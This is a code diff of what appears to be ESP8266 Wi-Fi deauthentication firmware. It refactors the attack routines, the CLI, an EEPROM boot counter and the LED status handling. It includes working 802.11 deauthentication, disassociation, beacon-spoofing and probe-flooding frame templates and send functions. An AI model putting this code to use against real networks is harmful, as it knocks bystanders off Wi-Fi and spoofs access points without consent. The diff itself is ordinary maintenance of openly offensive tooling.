if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
if (sendPacket(deauthPacket, packetSize, ch, 1)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
@ -322,7 +322,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
|||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
if (sendPacket(deauthPacket, packetSize, ch, 1)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
@ -334,7 +334,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
|||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
if (settings.getAttackSettings().attack_all_ch) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
@ -366,20 +366,21 @@ bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
|||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
||||
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, 1);
|
||||
|
||||
if (success) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return true;
|
||||
} else {
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return false;
|
||||
}
|
||||
|
||||
delete[] tmpPacket; // free memory of allocated buffer
|
||||
|
||||
return success;
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
if (settings.getAttackSettings().attack_all_ch) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
@ -393,7 +394,7 @@ bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
|||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||
if (sendPacket(probePacket, packetSize, ch, 1)) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
|
|
|
@ -26,8 +26,8 @@ extern uint32_t currentTime;
|
|||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
@ -126,21 +126,21 @@ class Attack {
|
|||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
|
@ -153,53 +153,53 @@ class Attack {
|
|||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -30,7 +30,9 @@ extern DisplayUI displayUI;
|
|||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern bool strToIP(String ipStr, uint8_t* ip);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
|
@ -69,8 +71,8 @@ class CLI {
|
|||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
SimpleList<String>*list;
|
||||
SimpleList<String>*queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,63 @@
|
|||
#ifndef EEPROMHELPER_H
|
||||
#define EEPROMHELPER_H
|
||||
|
||||
// ========== Includes ========== //
|
||||
#include <EEPROM.h>
|
||||
|
||||
// ========== Boot Counter Structure ========== //
|
||||
|
||||
// Used for memory verificaiton
|
||||
#define BOOT_MAGIC_NUM 1234567890
|
||||
|
||||
typedef struct boot {
|
||||
unsigned int magic_num : 32;
|
||||
unsigned int boot_num : 8;
|
||||
} boot;
|
||||
|
||||
// ========== EEPROM Helper Class ========== //
|
||||
class EEPROMHelper {
|
||||
public:
|
||||
static void begin(const int eepromSize) {
|
||||
EEPROM.begin(eepromSize);
|
||||
}
|
||||
|
||||
static void end() {
|
||||
EEPROM.end();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void saveObject(const int address, const T& t) {
|
||||
EEPROM.put(address, t);
|
||||
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void getObject(const int address, const T& t) {
|
||||
EEPROM.get(address, t);
|
||||
}
|
||||
|
||||
static bool checkBootNum(const int address) {
|
||||
boot b;
|
||||
|
||||
EEPROM.get(address, b);
|
||||
|
||||
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void resetBootNum(const int address) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
|
||||
}
|
||||
|
||||
static void format(unsigned long size) {
|
||||
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
|
||||
EEPROM.commit();
|
||||
}
|
||||
};
|
||||
|
||||
#endif /* ifndef EEPROMHELPER_H */
|
|
@ -1,205 +1,119 @@
|
|||
#include "LED.h"
|
||||
|
||||
LED::LED() {}
|
||||
|
||||
LED::~LED() {
|
||||
if (led) delete led;
|
||||
}
|
||||
|
||||
void LED::setup() {
|
||||
#if defined(DIGITAL_LED)
|
||||
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(RGB_LED)
|
||||
led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||
led->setup();
|
||||
#endif // if defined(DIGITAL_LED)
|
||||
}
|
||||
|
||||
void LED::update() {
|
||||
if (!tempEnabled || !led) return;
|
||||
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||
else setMode(LED_MODE::IDLE, false);
|
||||
}
|
||||
|
||||
void LED::setMode(uint8_t mode, bool force) {
|
||||
if (!led) return;
|
||||
|
||||
if ((mode != LED::mode) || force) {
|
||||
LED::mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case LED_MODE::OFF:
|
||||
led->setColor(0, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::SCAN:
|
||||
led->setColor(0, 0, 255);
|
||||
break;
|
||||
|
||||
case LED_MODE::ATTACK:
|
||||
led->setColor(255, 255, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::DEAUTH:
|
||||
led->setColor(255, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::IDLE:
|
||||
led->setColor(0, 255, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
// debug output
|
||||
if (output) {
|
||||
char s[30];
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
led->setColor(r, g, b);
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
led->setBrightness(brightness);
|
||||
setColor(r, g, b, output);
|
||||
}
|
||||
|
||||
void LED::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void LED::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool LED::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
// ===== DigitalLED ===== //
|
||||
LED::DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||
LED::DigitalLED::anode = anode;
|
||||
LED::DigitalLED::rPin = rPin;
|
||||
LED::DigitalLED::gPin = gPin;
|
||||
LED::DigitalLED::bPin = bPin;
|
||||
}
|
||||
|
||||
LED::DigitalLED::~DigitalLED() {}
|
||||
|
||||
void LED::DigitalLED::setup() {
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if (anode) {
|
||||
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||
} else {
|
||||
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||
|
||||
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||
}
|
||||
}
|
||||
|
||||
void LED::DigitalLED::setBrightness(uint8_t brightness) {}
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
// ===== AnalogRGBLED ===== //
|
||||
LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||
LED::AnalogRGBLED::anode = anode;
|
||||
LED::AnalogRGBLED::rPin = rPin;
|
||||
LED::AnalogRGBLED::gPin = gPin;
|
||||
LED::AnalogRGBLED::bPin = bPin;
|
||||
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::AnalogRGBLED::~AnalogRGBLED() {}
|
||||
|
||||
void LED::AnalogRGBLED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||
|
||||
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||
|
||||
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||
|
||||
if (anode) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(rPin, r);
|
||||
analogWrite(gPin, g);
|
||||
analogWrite(bPin, b);
|
||||
}
|
||||
|
||||
void LED::AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
LED::AnalogRGBLED::brightness = brightness;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
// ===== NeopixelLED ===== //
|
||||
LED::NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||
strip = new Adafruit_NeoPixel(num, dataPin, LED_NEOPIXEL_MODE);
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
LED::NeopixelLED::~NeopixelLED() {
|
||||
delete strip;
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setup() {
|
||||
strip->begin();
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
int num = strip->numPixels();
|
||||
|
||||
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||
strip->show();
|
||||
}
|
||||
|
||||
void LED::NeopixelLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
strip->setBrightness(brightness);
|
||||
}
|
||||
#endif
|
||||
#include "LED.h"
|
||||
|
||||
// ===== [Includes] ===== //
|
||||
// used for update()
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
// ===== [External] ===== //
|
||||
// used for update()
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
if (output) {
|
||||
char s[30];
|
||||
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
#if defined(LED_DIGITAL)
|
||||
if (LED_ANODE) {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r > 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g > 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b > 0);
|
||||
} else {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r == 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g == 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b == 0);
|
||||
}
|
||||
#elif defined(LED_RGB)
|
||||
if (r > 0) r = r * LED_MODE_BRIGHTNESS / 100;
|
||||
if (g > 0) g = g * LED_MODE_BRIGHTNESS / 100;
|
||||
if (b > 0) b = b * LED_MODE_BRIGHTNESS / 100;
|
||||
|
||||
if (LED_ANODE) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(LED_PIN_R, r);
|
||||
analogWrite(LED_PIN_G, g);
|
||||
analogWrite(LED_PIN_B, b);
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
|
||||
for (size_t i = 0; i < LED_NEOPIXEL_NUM; i++) {
|
||||
strip.setPixelColor(i, r, g, b);
|
||||
}
|
||||
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, r);
|
||||
myled.setChannel(LED_MY92_CH_G, g);
|
||||
myled.setChannel(LED_MY92_CH_B, b);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL)
|
||||
}
|
||||
|
||||
void LED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
#if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
if (LED_PIN_R < 255) pinMode(LED_PIN_R, OUTPUT);
|
||||
if (LED_PIN_G < 255) pinMode(LED_PIN_G, OUTPUT);
|
||||
if (LED_PIN_B < 255) pinMode(LED_PIN_B, OUTPUT);
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
strip.begin();
|
||||
strip.setBrightness(LED_MODE_BRIGHTNESS);
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, 0);
|
||||
myled.setChannel(LED_MY92_CH_G, 0);
|
||||
myled.setChannel(LED_MY92_CH_B, 0);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
}
|
||||
|
||||
void LED::update() {
|
||||
if (!settings.getLEDSettings().enabled) {
|
||||
setMode(OFF);
|
||||
} else if (scan.isScanning() && (scan.deauths < settings.getSnifferSettings().min_deauth_frames)) {
|
||||
setMode(SCAN);
|
||||
} else if (attack.isRunning()) {
|
||||
setMode(ATTACK);
|
||||
} else {
|
||||
setMode(IDLE);
|
||||
}
|
||||
}
|
||||
|
||||
void LED::setMode(LED_MODE mode, bool force) {
|
||||
if ((mode != this->mode) || force) {
|
||||
this->mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case OFF:
|
||||
setColor(LED_MODE_OFF);
|
||||
break;
|
||||
|
||||
case SCAN:
|
||||
setColor(LED_MODE_SCAN);
|
||||
break;
|
||||
|
||||
case ATTACK:
|
||||
setColor(LED_MODE_ATTACK);
|
||||
break;
|
||||
|
||||
case IDLE:
|
||||
setColor(LED_MODE_IDLE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,107 +1,50 @@
|
|||
#ifndef LED_h
|
||||
#define LED_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class LED {
|
||||
public:
|
||||
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||
|
||||
LED();
|
||||
~LED();
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
class StatusLED {
|
||||
public:
|
||||
virtual ~StatusLED() = default;
|
||||
|
||||
virtual void setup() = 0;
|
||||
|
||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||
virtual void setBrightness(uint8_t brightness) = 0;
|
||||
};
|
||||
#ifdef DIGITAL_LED
|
||||
class DigitalLED : public StatusLED {
|
||||
public:
|
||||
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||
~DigitalLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
};
|
||||
#endif
|
||||
#ifdef RGB_LED
|
||||
class AnalogRGBLED : public StatusLED {
|
||||
public:
|
||||
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||
~AnalogRGBLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
uint8_t brightness = 0;
|
||||
};
|
||||
#endif
|
||||
#ifdef NEOPIXEL_LED
|
||||
class NeopixelLED : public StatusLED {
|
||||
public:
|
||||
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||
~NeopixelLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
Adafruit_NeoPixel* strip;
|
||||
};
|
||||
#endif
|
||||
bool tempEnabled = true;
|
||||
uint8_t mode = LED_MODE::OFF;
|
||||
StatusLED* led = NULL;
|
||||
};
|
||||
|
||||
#endif // ifndef LED_h
|
||||
#ifndef LED_h
|
||||
#define LED_h
|
||||
|
||||
// ===== [Includes] ===== //
|
||||
#include "Arduino.h" // digitalWrite, analogWrite, pinMode
|
||||
#include "A_config.h" // Config for LEDs
|
||||
#include "language.h" // Strings used in printColor and tempDisable
|
||||
|
||||
// ===== [Defines] ===== //
|
||||
|
||||
// Inlcude libraries for Neopixel or LED_MY92xx if used
|
||||
#if defined(NEOPIXEL_LED)
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
#elif defined(LED_MY92)
|
||||
#include <my92xx.h>
|
||||
#endif // if defined(NEOPIXEL_LED)
|
||||
|
||||
// ===== [Strings] ===== //
|
||||
const char L_OUTPUT[] PROGMEM = "LED = (%u,%u,%u)";
|
||||
|
||||
// ===== [LED Mode Enum] ===== //
|
||||
enum LED_MODE {
|
||||
OFF,
|
||||
SCAN,
|
||||
ATTACK,
|
||||
IDLE
|
||||
};
|
||||
|
||||
// ===== [LED Class] ===== //
|
||||
class LED {
|
||||
private:
|
||||
LED_MODE mode = OFF;
|
||||
|
||||
#if defined(LED_NEOPIXEL_RGB)
|
||||
